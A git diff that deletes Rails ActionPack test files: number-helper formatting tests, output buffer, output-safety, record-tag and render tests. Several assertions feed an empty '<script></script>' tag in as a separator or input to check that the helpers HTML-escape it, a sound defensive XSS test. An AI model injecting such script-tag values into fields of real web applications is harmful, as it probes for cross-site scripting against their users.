- assert_equal("0.78901", number_with_delimiter(0.78901))
- assert_equal("123,456.78", number_with_delimiter("123456.78"))
- end
-
- def test_number_with_delimiter_with_options_hash
- assert_equal '12 345 678', number_with_delimiter(12345678, :delimiter => ' ')
- assert_equal '12,345,678-05', number_with_delimiter(12345678.05, :separator => '-')
- assert_equal '12.345.678,05', number_with_delimiter(12345678.05, :separator => ',', :delimiter => '.')
- assert_equal '12.345.678,05', number_with_delimiter(12345678.05, :delimiter => '.', :separator => ',')
- assert_equal '1&lt;script&gt;&lt;/script&gt;01', number_with_delimiter(1.01, :separator => "<script></script>")
- assert_equal '1&lt;script&gt;&lt;/script&gt;000', number_with_delimiter(1000, :delimiter => "<script></script>")
- end
-
- def test_number_with_precision
- assert_equal("-111.235", number_with_precision(-111.2346))
- assert_equal("111.235", number_with_precision(111.2346))
- assert_equal("31.83", number_with_precision(31.825, :precision => 2))
- assert_equal("111.23", number_with_precision(111.2346, :precision => 2))
- assert_equal("111.00", number_with_precision(111, :precision => 2))
- assert_equal("111.235", number_with_precision("111.2346"))
- assert_equal("31.83", number_with_precision("31.825", :precision => 2))
- assert_equal("3268", number_with_precision((32.6751 * 100.00), :precision => 0))
- assert_equal("112", number_with_precision(111.50, :precision => 0))
- assert_equal("1234567892", number_with_precision(1234567891.50, :precision => 0))
- assert_equal("0", number_with_precision(0, :precision => 0))
- assert_equal("0.00100", number_with_precision(0.001, :precision => 5))
- assert_equal("0.001", number_with_precision(0.00111, :precision => 3))
- assert_equal("10.00", number_with_precision(9.995, :precision => 2))
- assert_equal("11.00", number_with_precision(10.995, :precision => 2))
- assert_equal("0.00", number_with_precision(-0.001, :precision => 2))
- end
-
- def test_number_with_precision_with_custom_delimiter_and_separator
- assert_equal '31,83', number_with_precision(31.825, :precision => 2, :separator => ',')
- assert_equal '1.231,83', number_with_precision(1231.825, :precision => 2, :separator => ',', :delimiter => '.')
- assert_equal '1&lt;script&gt;&lt;/script&gt;010', number_with_precision(1.01, :separator => "<script></script>")
- assert_equal '1&lt;script&gt;&lt;/script&gt;000.000', number_with_precision(1000, :delimiter => "<script></script>")
- end
-
- def test_number_with_precision_with_significant_digits
- assert_equal "124000", number_with_precision(123987, :precision => 3, :significant => true)
- assert_equal "120000000", number_with_precision(123987876, :precision => 2, :significant => true )
- assert_equal "40000", number_with_precision("43523", :precision => 1, :significant => true )
- assert_equal "9775", number_with_precision(9775, :precision => 4, :significant => true )
- assert_equal "5.4", number_with_precision(5.3923, :precision => 2, :significant => true )
- assert_equal "5", number_with_precision(5.3923, :precision => 1, :significant => true )
- assert_equal "1", number_with_precision(1.232, :precision => 1, :significant => true )
- assert_equal "7", number_with_precision(7, :precision => 1, :significant => true )
- assert_equal "1", number_with_precision(1, :precision => 1, :significant => true )
- assert_equal "53", number_with_precision(52.7923, :precision => 2, :significant => true )
- assert_equal "9775.00", number_with_precision(9775, :precision => 6, :significant => true )
- assert_equal "5.392900", number_with_precision(5.3929, :precision => 7, :significant => true )
- assert_equal "0.0", number_with_precision(0, :precision => 2, :significant => true )
- assert_equal "0", number_with_precision(0, :precision => 1, :significant => true )
- assert_equal "0.0001", number_with_precision(0.0001, :precision => 1, :significant => true )
- assert_equal "0.000100", number_with_precision(0.0001, :precision => 3, :significant => true )
- assert_equal "0.0001", number_with_precision(0.0001111, :precision => 1, :significant => true )
- assert_equal "10.0", number_with_precision(9.995, :precision => 3, :significant => true)
- assert_equal "9.99", number_with_precision(9.994, :precision => 3, :significant => true)
- assert_equal "11.0", number_with_precision(10.995, :precision => 3, :significant => true)
- end
-
- def test_number_with_precision_with_strip_insignificant_zeros
- assert_equal "9775.43", number_with_precision(9775.43, :precision => 4, :strip_insignificant_zeros => true )
- assert_equal "9775.2", number_with_precision(9775.2, :precision => 6, :significant => true, :strip_insignificant_zeros => true )
- assert_equal "0", number_with_precision(0, :precision => 6, :significant => true, :strip_insignificant_zeros => true )
- end
-
- def test_number_with_precision_with_significant_true_and_zero_precision
- # Zero precision with significant is a mistake (would always return zero),
- # so we treat it as if significant was false (increases backwards compatibility for number_to_human_size)
- assert_equal "124", number_with_precision(123.987, :precision => 0, :significant => true)
- assert_equal "12", number_with_precision(12, :precision => 0, :significant => true )
- assert_equal "12", number_with_precision("12.3", :precision => 0, :significant => true )
- end
-
- def test_number_to_human_size
- assert_equal '0 Bytes', number_to_human_size(0)
- assert_equal '1 Byte', number_to_human_size(1)
- assert_equal '3 Bytes', number_to_human_size(3.14159265)
- assert_equal '123 Bytes', number_to_human_size(123.0)
- assert_equal '123 Bytes', number_to_human_size(123)
- assert_equal '1.21 KB', number_to_human_size(1234)
- assert_equal '12.1 KB', number_to_human_size(12345)
- assert_equal '1.18 MB', number_to_human_size(1234567)
- assert_equal '1.15 GB', number_to_human_size(1234567890)
- assert_equal '1.12 TB', number_to_human_size(1234567890123)
- assert_equal '1030 TB', number_to_human_size(terabytes(1026))
- assert_equal '444 KB', number_to_human_size(kilobytes(444))
- assert_equal '1020 MB', number_to_human_size(megabytes(1023))
- assert_equal '3 TB', number_to_human_size(terabytes(3))
- assert_equal '1.2 MB', number_to_human_size(1234567, :precision => 2)
- assert_equal '3 Bytes', number_to_human_size(3.14159265, :precision => 4)
- assert_equal '123 Bytes', number_to_human_size('123')
- assert_equal '1 KB', number_to_human_size(kilobytes(1.0123), :precision => 2)
- assert_equal '1.01 KB', number_to_human_size(kilobytes(1.0100), :precision => 4)
- assert_equal '10 KB', number_to_human_size(kilobytes(10.000), :precision => 4)
- assert_equal '1 Byte', number_to_human_size(1.1)
- assert_equal '10 Bytes', number_to_human_size(10)
- end
-
- def test_number_to_human_size_with_si_prefix
- assert_equal '3 Bytes', number_to_human_size(3.14159265, :prefix => :si)
- assert_equal '123 Bytes', number_to_human_size(123.0, :prefix => :si)
- assert_equal '123 Bytes', number_to_human_size(123, :prefix => :si)
- assert_equal '1.23 KB', number_to_human_size(1234, :prefix => :si)
- assert_equal '12.3 KB', number_to_human_size(12345, :prefix => :si)
- assert_equal '1.23 MB', number_to_human_size(1234567, :prefix => :si)
- assert_equal '1.23 GB', number_to_human_size(1234567890, :prefix => :si)
- assert_equal '1.23 TB', number_to_human_size(1234567890123, :prefix => :si)
- end
-
- def test_number_to_human_size_with_options_hash
- assert_equal '1.2 MB', number_to_human_size(1234567, :precision => 2)
- assert_equal '3 Bytes', number_to_human_size(3.14159265, :precision => 4)
- assert_equal '1 KB', number_to_human_size(kilobytes(1.0123), :precision => 2)
- assert_equal '1.01 KB', number_to_human_size(kilobytes(1.0100), :precision => 4)
- assert_equal '10 KB', number_to_human_size(kilobytes(10.000), :precision => 4)
- assert_equal '1 TB', number_to_human_size(1234567890123, :precision => 1)
- assert_equal '500 MB', number_to_human_size(524288000, :precision=>3)
- assert_equal '10 MB', number_to_human_size(9961472, :precision=>0)
- assert_equal '40 KB', number_to_human_size(41010, :precision => 1)
- assert_equal '40 KB', number_to_human_size(41100, :precision => 2)
- assert_equal '1.0 KB', number_to_human_size(kilobytes(1.0123), :precision => 2, :strip_insignificant_zeros => false)
- assert_equal '1.012 KB', number_to_human_size(kilobytes(1.0123), :precision => 3, :significant => false)
- assert_equal '1 KB', number_to_human_size(kilobytes(1.0123), :precision => 0, :significant => true) #ignores significant it precision is 0
- assert_equal '9&lt;script&gt;&lt;/script&gt;86 KB', number_to_human_size(10100, :separator => "<script></script>")
- end
-
- def test_number_to_human_size_with_custom_delimiter_and_separator
- assert_equal '1,01 KB', number_to_human_size(kilobytes(1.0123), :precision => 3, :separator => ',')
- assert_equal '1,01 KB', number_to_human_size(kilobytes(1.0100), :precision => 4, :separator => ',')
- assert_equal '1.000,1 TB', number_to_human_size(terabytes(1000.1), :precision => 5, :delimiter => '.', :separator => ',')
- end
-
- def test_number_to_human
- assert_equal '-123', number_to_human(-123)
- assert_equal '-0.5', number_to_human(-0.5)
- assert_equal '0', number_to_human(0)
- assert_equal '0.5', number_to_human(0.5)
- assert_equal '123', number_to_human(123)
- assert_equal '1.23 Thousand', number_to_human(1234)
- assert_equal '12.3 Thousand', number_to_human(12345)
- assert_equal '1.23 Million', number_to_human(1234567)
- assert_equal '1.23 Billion', number_to_human(1234567890)
- assert_equal '1.23 Trillion', number_to_human(1234567890123)
- assert_equal '1.23 Quadrillion', number_to_human(1234567890123456)
- assert_equal '1230 Quadrillion', number_to_human(1234567890123456789)
- assert_equal '490 Thousand', number_to_human(489939, :precision => 2)
- assert_equal '489.9 Thousand', number_to_human(489939, :precision => 4)
- assert_equal '489 Thousand', number_to_human(489000, :precision => 4)
- assert_equal '489.0 Thousand', number_to_human(489000, :precision => 4, :strip_insignificant_zeros => false)
- assert_equal '1.2346 Million', number_to_human(1234567, :precision => 4, :significant => false)
- assert_equal '1,2 Million', number_to_human(1234567, :precision => 1, :significant => false, :separator => ',')
- assert_equal '1 Million', number_to_human(1234567, :precision => 0, :significant => true, :separator => ',') #significant forced to false
- end
-
- def test_number_to_human_with_custom_units
- #Only integers
- volume = {:unit => "ml", :thousand => "lt", :million => "m3"}
- assert_equal '123 lt', number_to_human(123456, :units => volume)
- assert_equal '12 ml', number_to_human(12, :units => volume)
- assert_equal '1.23 m3', number_to_human(1234567, :units => volume)
-
- #Including fractionals
- distance = {:mili => "mm", :centi => "cm", :deci => "dm", :unit => "m", :ten => "dam", :hundred => "hm", :thousand => "km"}
- assert_equal '1.23 mm', number_to_human(0.00123, :units => distance)
- assert_equal '1.23 cm', number_to_human(0.0123, :units => distance)
- assert_equal '1.23 dm', number_to_human(0.123, :units => distance)
- assert_equal '1.23 m', number_to_human(1.23, :units => distance)
- assert_equal '1.23 dam', number_to_human(12.3, :units => distance)
- assert_equal '1.23 hm', number_to_human(123, :units => distance)
- assert_equal '1.23 km', number_to_human(1230, :units => distance)
- assert_equal '1.23 km', number_to_human(1230, :units => distance)
- assert_equal '1.23 km', number_to_human(1230, :units => distance)
- assert_equal '12.3 km', number_to_human(12300, :units => distance)
-
- #The quantifiers don't need to be a continuous sequence
- gangster = {:hundred => "hundred bucks", :million => "thousand quids"}
- assert_equal '1 hundred bucks', number_to_human(100, :units => gangster)
- assert_equal '25 hundred bucks', number_to_human(2500, :units => gangster)
- assert_equal '25 thousand quids', number_to_human(25000000, :units => gangster)
- assert_equal '12300 thousand quids', number_to_human(12345000000, :units => gangster)
-
- #Spaces are stripped from the resulting string
- assert_equal '4', number_to_human(4, :units => {:unit => "", :ten => 'tens '})
- assert_equal '4.5 tens', number_to_human(45, :units => {:unit => "", :ten => ' tens '})
-
- assert_equal '1&lt;script&gt;&lt;/script&gt;01', number_to_human(1.01, :separator => "<script></script>")
- assert_equal '100&lt;script&gt;&lt;/script&gt;000 Quadrillion', number_to_human(10**20, :delimiter => "<script></script>")
- end
-
- def test_number_to_human_with_custom_format
- assert_equal '123 times Thousand', number_to_human(123456, :format => "%n times %u")
- volume = {:unit => "ml", :thousand => "lt", :million => "m3"}
- assert_equal '123.lt', number_to_human(123456, :units => volume, :format => "%n.%u")
- end
-
- def test_number_helpers_should_return_nil_when_given_nil
- assert_nil number_to_phone(nil)
- assert_nil number_to_currency(nil)
- assert_nil number_to_percentage(nil)
- assert_nil number_with_delimiter(nil)
- assert_nil number_with_precision(nil)
- assert_nil number_to_human_size(nil)
- assert_nil number_to_human(nil)
- end
-
- def test_number_helpers_do_not_mutate_options_hash
- options = { 'raise' => true }
-
- number_to_phone(1, options)
- assert_equal({ 'raise' => true }, options)
-
- number_to_currency(1, options)
- assert_equal({ 'raise' => true }, options)
-
- number_to_percentage(1, options)
- assert_equal({ 'raise' => true }, options)
-
- number_with_delimiter(1, options)
- assert_equal({ 'raise' => true }, options)
-
- number_with_precision(1, options)
- assert_equal({ 'raise' => true }, options)
-
- number_to_human_size(1, options)
- assert_equal({ 'raise' => true }, options)
-
- number_to_human(1, options)
- assert_equal({ 'raise' => true }, options)
- end
-
- def test_number_helpers_should_return_non_numeric_param_unchanged
- assert_equal("+1-x x 123", number_to_phone("x", :country_code => 1, :extension => 123))
- assert_equal("x", number_to_phone("x"))
- assert_equal("$x.", number_to_currency("x."))
- assert_equal("$x", number_to_currency("x"))
- assert_equal("x%", number_to_percentage("x"))
- assert_equal("x", number_with_delimiter("x"))
- assert_equal("x.", number_with_precision("x."))
- assert_equal("x", number_with_precision("x"))
- assert_equal "x", number_to_human_size('x')
- assert_equal "x", number_to_human('x')
- end
-
- def test_number_helpers_outputs_are_html_safe
- assert number_to_human(1).html_safe?
- assert !number_to_human("<script></script>").html_safe?
- assert number_to_human("asdf".html_safe).html_safe?
- assert number_to_human("1".html_safe).html_safe?
-
- assert number_to_human_size(1).html_safe?
- assert number_to_human_size(1000000).html_safe?
- assert !number_to_human_size("<script></script>").html_safe?
- assert number_to_human_size("asdf".html_safe).html_safe?
- assert number_to_human_size("1".html_safe).html_safe?
-
- assert number_with_precision(1, :strip_insignificant_zeros => false).html_safe?
- assert number_with_precision(1, :strip_insignificant_zeros => true).html_safe?
- assert !number_with_precision("<script></script>").html_safe?
- assert number_with_precision("asdf".html_safe).html_safe?
- assert number_with_precision("1".html_safe).html_safe?
-
- assert number_to_currency(1).html_safe?
- assert !number_to_currency("<script></script>").html_safe?
- assert number_to_currency("asdf".html_safe).html_safe?
- assert number_to_currency("1".html_safe).html_safe?
-
- assert number_to_percentage(1).html_safe?
- assert !number_to_percentage("<script></script>").html_safe?
- assert number_to_percentage("asdf".html_safe).html_safe?
- assert number_to_percentage("1".html_safe).html_safe?
-
- assert number_to_phone(1).html_safe?
- assert_equal "&lt;script&gt;&lt;/script&gt;", number_to_phone("<script></script>")
- assert number_to_phone("<script></script>").html_safe?
- assert number_to_phone("asdf".html_safe).html_safe?
- assert number_to_phone("1".html_safe).html_safe?
-
- assert number_with_delimiter(1).html_safe?
- assert !number_with_delimiter("<script></script>").html_safe?
- assert number_with_delimiter("asdf".html_safe).html_safe?
- assert number_with_delimiter("1".html_safe).html_safe?
- end
-
- def test_number_helpers_should_raise_error_if_invalid_when_specified
- exception = assert_raise InvalidNumberError do
- number_to_human("x", :raise => true)
- end
- assert_equal "x", exception.number
-
- exception = assert_raise InvalidNumberError do
- number_to_human_size("x", :raise => true)
- end
- assert_equal "x", exception.number
-
- exception = assert_raise InvalidNumberError do
- number_with_precision("x", :raise => true)
- end
- assert_equal "x", exception.number
-
- exception = assert_raise InvalidNumberError do
- number_to_currency("x", :raise => true)
- end
- assert_equal "x", exception.number
-
- exception = assert_raise InvalidNumberError do
- number_to_percentage("x", :raise => true)
- end
- assert_equal "x", exception.number
-
- exception = assert_raise InvalidNumberError do
- number_with_delimiter("x", :raise => true)
- end
- assert_equal "x", exception.number
-
- exception = assert_raise InvalidNumberError do
- number_to_phone("x", :raise => true)
- end
- assert_equal "x", exception.number
- end
-end
diff --git a/actionpack/test/template/output_buffer_test.rb b/actionpack/test/template/output_buffer_test.rb
deleted file mode 100644
index eb0df3d1ab..0000000000
--- a/actionpack/test/template/output_buffer_test.rb
+++ /dev/null
@@ -1,59 +0,0 @@
-require 'abstract_unit'
-
-class OutputBufferTest < ActionController::TestCase
- class TestController < ActionController::Base
- def index
- render :text => 'foo'
- end
- end
-
- tests TestController
-
- def setup
- @vc = @controller.view_context
- get :index
- assert_equal ['foo'], body_parts
- end
-
- test 'output buffer is nil after rendering' do
- assert_nil output_buffer
- end
-
- test 'flushing ignores nil output buffer' do
- @controller.view_context.flush_output_buffer
- assert_nil output_buffer
- assert_equal ['foo'], body_parts
- end
-
- test 'flushing ignores empty output buffer' do
- @vc.output_buffer = ''
- @vc.flush_output_buffer
- assert_equal '', output_buffer
- assert_equal ['foo'], body_parts
- end
-
- test 'flushing appends the output buffer to the body parts' do
- @vc.output_buffer = 'bar'
- @vc.flush_output_buffer
- assert_equal '', output_buffer
- assert_equal ['foo', 'bar'], body_parts
- end
-
- test 'flushing preserves output buffer encoding' do
- original_buffer = ' '.force_encoding(Encoding::EUC_JP)
- @vc.output_buffer = original_buffer
- @vc.flush_output_buffer
- assert_equal ['foo', original_buffer], body_parts
- assert_not_equal original_buffer, output_buffer
- assert_equal Encoding::EUC_JP, output_buffer.encoding
- end
-
- protected
- def output_buffer
- @vc.output_buffer
- end
-
- def body_parts
- @controller.response.body_parts
- end
-end
diff --git a/actionpack/test/template/output_safety_helper_test.rb b/actionpack/test/template/output_safety_helper_test.rb
deleted file mode 100644
index 76c71c9e6d..0000000000
--- a/actionpack/test/template/output_safety_helper_test.rb
+++ /dev/null
@@ -1,28 +0,0 @@
-require 'abstract_unit'
-
-class OutputSafetyHelperTest < ActionView::TestCase
- tests ActionView::Helpers::OutputSafetyHelper
-
- def setup
- @string = "hello"
- end
-
- test "raw returns the safe string" do
- result = raw(@string)
- assert_equal @string, result
- assert result.html_safe?
- end
-
- test "raw handles nil values correctly" do
- assert_equal "", raw(nil)
- end
-
- test "safe_join should html_escape any items, including the separator, if they are not html_safe" do
- joined = safe_join(["<p>foo</p>".html_safe, "<p>bar</p>"], "<br />")
- assert_equal "<p>foo</p>&lt;br /&gt;&lt;p&gt;bar&lt;/p&gt;", joined
-
- joined = safe_join(["<p>foo</p>".html_safe, "<p>bar</p>".html_safe], "<br />".html_safe)
- assert_equal "<p>foo</p><br /><p>bar</p>", joined
- end
-
-end \ No newline at end of file
diff --git a/actionpack/test/template/record_tag_helper_test.rb b/actionpack/test/template/record_tag_helper_test.rb
deleted file mode 100644
index a84034c02e..0000000000
--- a/actionpack/test/template/record_tag_helper_test.rb
+++ /dev/null
@@ -1,103 +0,0 @@
-require 'abstract_unit'
-
-class RecordTagPost
- extend ActiveModel::Naming
- include ActiveModel::Conversion
- attr_accessor :id, :body
-
- def initialize
- @id = 45
- @body = "What a wonderful world!"
-
- yield self if block_given?
- end
-end
-
-class RecordTagHelperTest < ActionView::TestCase
- include RenderERBUtils
-
- tests ActionView::Helpers::RecordTagHelper
-
- def setup
- super
- @post = RecordTagPost.new
- end
-
- def test_content_tag_for
- expected = %(<li class="record_tag_post" id="record_tag_post_45"></li>)
- actual = content_tag_for(:li, @post) { }
- assert_dom_equal expected, actual
- end
-
- def test_content_tag_for_prefix
- expected = %(<ul class="archived_record_tag_post" id="archived_record_tag_post_45"></ul>)
- actual = content_tag_for(:ul, @post, :archived) { }
- assert_dom_equal expected, actual
- end
-
- def test_content_tag_for_with_extra_html_options
- expected = %(<tr class="record_tag_post special" id="record_tag_post_45" style='background-color: #f0f0f0'></tr>)
- actual = content_tag_for(:tr, @post, :class => "special", :style => "background-color: #f0f0f0") { }
- assert_dom_equal expected, actual
- end
-
- def test_content_tag_for_with_prefix_and_extra_html_options
- expected = %(<tr class="archived_record_tag_post special" id="archived_record_tag_post_45" style='background-color: #f0f0f0'></tr>)
- actual = content_tag_for(:tr, @post, :archived, :class => "special", :style => "background-color: #f0f0f0") { }
- assert_dom_equal expected, actual
- end
-
- def test_block_not_in_erb_multiple_calls
- expected = %(<div class="record_tag_post special" id="record_tag_post_45">What a wonderful world!</div>)
- actual = div_for(@post, :class => "special") { @post.body }
- assert_dom_equal expected, actual
- actual = div_for(@post, :class => "special") { @post.body }
- assert_dom_equal expected, actual
- end
-
- def test_block_works_with_content_tag_for_in_erb
- expected = %(<tr class="record_tag_post" id="record_tag_post_45">What a wonderful world!</tr>)
- actual = render_erb("<%= content_tag_for(:tr, @post) do %><%= @post.body %><% end %>")
- assert_dom_equal expected, actual
- end
-
- def test_div_for_in_erb
- expected = %(<div class="record_tag_post special" id="record_tag_post_45">What a wonderful world!</div>)
- actual = render_erb("<%= div_for(@post, :class => 'special') do %><%= @post.body %><% end %>")
- assert_dom_equal expected, actual
- end
-
- def test_content_tag_for_collection
- post_1 = RecordTagPost.new { |post| post.id = 101; post.body = "Hello!" }
- post_2 = RecordTagPost.new { |post| post.id = 102; post.body = "World!" }
- expected = %(<li class="record_tag_post" id="record_tag_post_101">Hello!</li>\n<li class="record_tag_post" id="record_tag_post_102">World!</li>)
- actual = content_tag_for(:li, [post_1, post_2]) { |post| post.body }
- assert_dom_equal expected, actual
- end
-
- def test_div_for_collection
- post_1 = RecordTagPost.new { |post| post.id = 101; post.body = "Hello!" }
- post_2 = RecordTagPost.new { |post| post.id = 102; post.body = "World!" }
- expected = %(<div class="record_tag_post" id="record_tag_post_101">Hello!</div>\n<div class="record_tag_post" id="record_tag_post_102">World!</div>)
- actual = div_for([post_1, post_2]) { |post| post.body }
- assert_dom_equal expected, actual
- end
-
- def test_content_tag_for_single_record_is_html_safe
- result = div_for(@post, :class => "special") { @post.body }
- assert result.html_safe?
- end
-
- def test_content_tag_for_collection_is_html_safe
- post_1 = RecordTagPost.new { |post| post.id = 101; post.body = "Hello!" }
- post_2 = RecordTagPost.new { |post| post.id = 102; post.body = "World!" }
- result = content_tag_for(:li, [post_1, post_2]) { |post| post.body }
- assert result.html_safe?
- end
-
- def test_content_tag_for_does_not_change_options_hash
- options = { :class => "important" }
- content_tag_for(:li, @post, options) { }
- assert_equal({ :class => "important" }, options)
- end
-end
diff --git a/actionpack/test/template/render_test.rb b/actionpack/test/template/render_test.rb
deleted file mode 100644
index 9fb26e32b1..0000000000
--- a/actionpack/test/template/render_test.rb
+++ /dev/null
@@ -1,538 +0,0 @@
-# encoding: utf-8
-require 'abstract_unit'
-require 'controller/fake_models'
-
-class TestController < ActionController::Base
-end
-
-module RenderTestCases
- def setup_view(paths)
- @assigns = { :secret => 'in the sauce' }
- @view = ActionView::Base.new(paths, @assigns)
- @controller_view = TestController.new.view_context
-
- # Reload and register danish language for testing
- I18n.reload!
- I18n.backend.store_translations 'da', {}
- I18n.backend.store_translations 'pt-BR', {}
-
- # Ensure original are still the same since we are reindexing view paths
- assert_equal ORIGINAL_LOCALES, I18n.available_locales.map {|l| l.to_s }.sort
- end
-
- def test_render_without_options
- e = assert_raises(ArgumentError) { @view.render() }
- assert_match "You invoked render but did not give any of :partial, :template, :inline, :file or :text option.", e.message
- end
-
- def test_render_file
- assert_equal "Hello world!", @view.render(:file => "test/hello_world")
- end
-
- def test_render_file_not_using_full_path
- assert_equal "Hello world!", @view.render(:file => "test/hello_world")
- end
-
- def test_render_file_without_specific_extension
- assert_equal "Hello world!", @view.render(:file => "test/hello_world")
- end
-
- # Test if :formats, :locale etc. options are passed correctly to the resolvers.
- def test_render_file_with_format
- assert_match "<h1>No Comment</h1>", @view.render(:file => "comments/empty", :formats => [:html])
- assert_match "<error>No Comment</error>", @view.render(:file => "comments/empty", :formats => [:xml])
- assert_match "<error>No Comment</error>", @view.render(:file => "comments/empty", :formats => :xml)
- end
-
- def test_render_template_with_format
- assert_match "<h1>No Comment</h1>", @view.render(:template => "comments/empty", :formats => [:html])
- assert_match "<error>No Comment</error>", @view.render(:template => "comments/empty", :formats => [:xml])
- end
-
- def test_render_partial_implicitly_use_format_of_the_rendered_template
- @view.lookup_context.formats = [:json]
- assert_equal "Hello world", @view.render(:template => "test/one", :formats => [:html])
- end
-
- def test_render_partial_implicitly_use_format_of_the_rendered_partial
- @view.lookup_context.formats = [:html]
- assert_equal "Third level", @view.render(:template => "test/html_template")
- end
-
- def test_render_partial_use_last_prepended_format_for_partials_with_the_same_names
- @view.lookup_context.formats = [:html]
- assert_equal "\nHTML Template, but JSON partial", @view.render(:template => "test/change_priorty")
- end
-
- def test_render_template_with_a_missing_partial_of_another_format
- @view.lookup_context.formats = [:html]
- assert_raise ActionView::Template::Error, "Missing partial /missing with {:locale=>[:en], :formats=>[:json], :handlers=>[:erb, :builder]}" do
- @view.render(:template => "with_format", :formats => [:json])
- end
- end
-
- def test_render_file_with_locale
- assert_equal "<h1>Kein Kommentar</h1>", @view.render(:file => "comments/empty", :locale => [:de])
- assert_equal "<h1>Kein Kommentar</h1>", @view.render(:file => "comments/empty", :locale => :de)
- end
-
- def test_render_template_with_locale
- assert_equal "<h1>Kein Kommentar</h1>", @view.render(:template => "comments/empty", :locale => [:de])
- end
-
- def test_render_file_with_handlers
- assert_equal "<h1>No Comment</h1>\n", @view.render(:file => "comments/empty", :handlers => [:builder])
- assert_equal "<h1>No Comment</h1>\n", @view.render(:file => "comments/empty", :handlers => :builder)
- end
-
- def test_render_template_with_handlers
- assert_equal "<h1>No Comment</h1>\n", @view.render(:template => "comments/empty", :handlers => [:builder])
- end
-
- def test_render_raw_template_with_handlers
- assert_equal "<%= hello_world %>\n", @view.render(:template => "plain_text")
- end
-
- def test_render_raw_template_with_quotes
- assert_equal %q;Here are some characters: !@#$%^&*()-="'}{`; + "\n", @view.render(:template => "plain_text_with_characters")
- end
-
- def test_render_ruby_template_with_handlers
- assert_equal "Hello from Ruby code", @view.render(:template => "ruby_template")
- end
-
- def test_render_ruby_template_inline
- assert_equal '4', @view.render(:inline => "(2**2).to_s", :type => :ruby)
- end
-
- def test_render_file_with_localization_on_context_level
- old_locale, @view.locale = @view.locale, :da
- assert_equal "Hey verden", @view.render(:file => "test/hello_world")
- ensure
- @view.locale = old_locale
- end
-
- def test_render_file_with_dashed_locale
- old_locale, @view.locale = @view.locale, :"pt-BR"
- assert_equal "Ola mundo", @view.render(:file => "test/hello_world")
- ensure
- @view.locale = old_locale
- end
-
- def test_render_file_at_top_level
- assert_equal 'Elastica', @view.render(:file => '/shared')
- end
-
- def test_render_file_with_full_path
- template_path = File.join(File.dirname(__FILE__), '../fixtures/test/hello_world')
- assert_equal "Hello world!", @view.render(:file => template_path)
- end
-
- def test_render_file_with_instance_variables
- assert_equal "The secret is in the sauce\n", @view.render(:file => "test/render_file_with_ivar")
- end
-
- def test_render_file_with_locals
- locals = { :secret => 'in the sauce' }
- assert_equal "The secret is in the sauce\n", @view.render(:file => "test/render_file_with_locals", :locals => locals)
- end
-
- def test_render_file_not_using_full_path_with_dot_in_path
- assert_equal "The secret is in the sauce\n", @view.render(:file => "test/dot.directory/render_file_with_ivar")
- end
-
- def test_render_partial_from_default
- assert_equal "only partial", @view.render("test/partial_only")
- end
-
- def test_render_partial
- assert_equal "only partial", @view.render(:partial => "test/partial_only")
- end
-
- def test_render_partial_with_format
- assert_equal 'partial html', @view.render(:partial => 'test/partial')
- end
-
- def test_render_partial_with_selected_format
- assert_equal 'partial html', @view.render(:partial => 'test/partial', :formats => :html)
- assert_equal 'partial js', @view.render(:partial => 'test/partial', :formats => [:js])
- end
-
- def test_render_partial_at_top_level
- # file fixtures/_top_level_partial_only (not fixtures/test)
- assert_equal 'top level partial', @view.render(:partial => '/top_level_partial_only')
- end
-
- def test_render_partial_with_format_at_top_level
- # file fixtures/_top_level_partial.html (not fixtures/test, with format extension)
- assert_equal 'top level partial html', @view.render(:partial => '/top_level_partial')
- end
-
- def test_render_partial_with_locals
- assert_equal "5", @view.render(:partial => "test/counter", :locals => { :counter_counter => 5 })
- end
-
- def test_render_partial_with_locals_from_default
- assert_equal "only partial", @view.render("test/partial_only", :counter_counter => 5)
- end
-
- def test_render_partial_with_invalid_name
- e = assert_raises(ArgumentError) { @view.render(:partial => "test/200") }
- assert_equal "The partial name (test/200) is not a valid Ruby identifier; " +
- "make sure your partial name starts with a lowercase letter or underscore, " +
- "and is followed by any combination of letters, numbers and underscores.", e.message
- end
-
- def test_render_partial_with_missing_filename
- e = assert_raises(ArgumentError) { @view.render(:partial => "test/") }
- assert_equal "The partial name (test/) is not a valid Ruby identifier; " +
- "make sure your partial name starts with a lowercase letter or underscore, " +
- "and is followed by any combination of letters, numbers and underscores.", e.message
- end
-
- def test_render_partial_with_incompatible_object
- e = assert_raises(ArgumentError) { @view.render(:partial => nil) }
- assert_equal "'#{nil.inspect}' is not an ActiveModel-compatible object. It must implement :to_partial_path.", e.message
- end
-
- def test_render_partial_with_hyphen
- e = assert_raises(ArgumentError) { @view.render(:partial => "test/a-in") }
- assert_equal "The partial name (test/a-in) is not a valid Ruby identifier; " +
- "make sure your partial name starts with a lowercase letter or underscore, " +
- "and is followed by any combination of letters, numbers and underscores.", e.message
- end
-
- def test_render_partial_with_errors
- e = assert_raises(ActionView::Template::Error) { @view.render(:partial => "test/raise") }
- assert_match %r!method.*doesnt_exist!, e.message
- assert_equal "", e.sub_template_message
- assert_equal "1", e.line_number
- assert_equal "1: <%= doesnt_exist %>", e.annoted_source_code.strip
- assert_equal File.expand_path("#{FIXTURE_LOAD_PATH}/test/_raise.html.erb"), e.file_name
- end
-
- def test_render_error_indentation
- e = assert_raises(ActionView::Template::Error) { @view.render(:partial => "test/raise_indentation") }
- error_lines = e.annoted_source_code.split("\n")
- assert_match %r!error\shere!, e.message
- assert_equal "11", e.line_number
- assert_equal " 9: <p>Ninth paragraph</p>", error_lines.second
- assert_equal " 10: <p>Tenth paragraph</p>", error_lines.third
- end
-
- def test_render_sub_template_with_errors
- e = assert_raises(ActionView::Template::Error) { @view.render(:template => "test/sub_template_raise") }
- assert_match %r!method.*doesnt_exist!, e.message
- assert_equal "Trace of template inclusion: #{File.expand_path("#{FIXTURE_LOAD_PATH}/test/sub_template_raise.html.erb")}", e.sub_template_message
- assert_equal "1", e.line_number
- assert_equal File.expand_path("#{FIXTURE_LOAD_PATH}/test/_raise.html.erb"), e.file_name
- end
-
- def test_render_file_with_errors
- e = assert_raises(ActionView::Template::Error) { @view.render(:file => File.expand_path("test/_raise", FIXTURE_LOAD_PATH)) }
- assert_match %r!method.*doesnt_exist!, e.message
- assert_equal "", e.sub_template_message
- assert_equal "1", e.line_number
- assert_equal "1: <%= doesnt_exist %>", e.annoted_source_code.strip
- assert_equal File.expand_path("#{FIXTURE_LOAD_PATH}/test/_raise.html.erb"), e.file_name
- end
-
- def test_render_object
- assert_equal "Hello: david", @view.render(:partial => "test/customer", :object => Customer.new("david"))
- end
-
- def test_render_object_with_array
- assert_equal "[1, 2, 3]", @view.render(:partial => "test/object_inspector", :object => [1, 2, 3])
- end
-
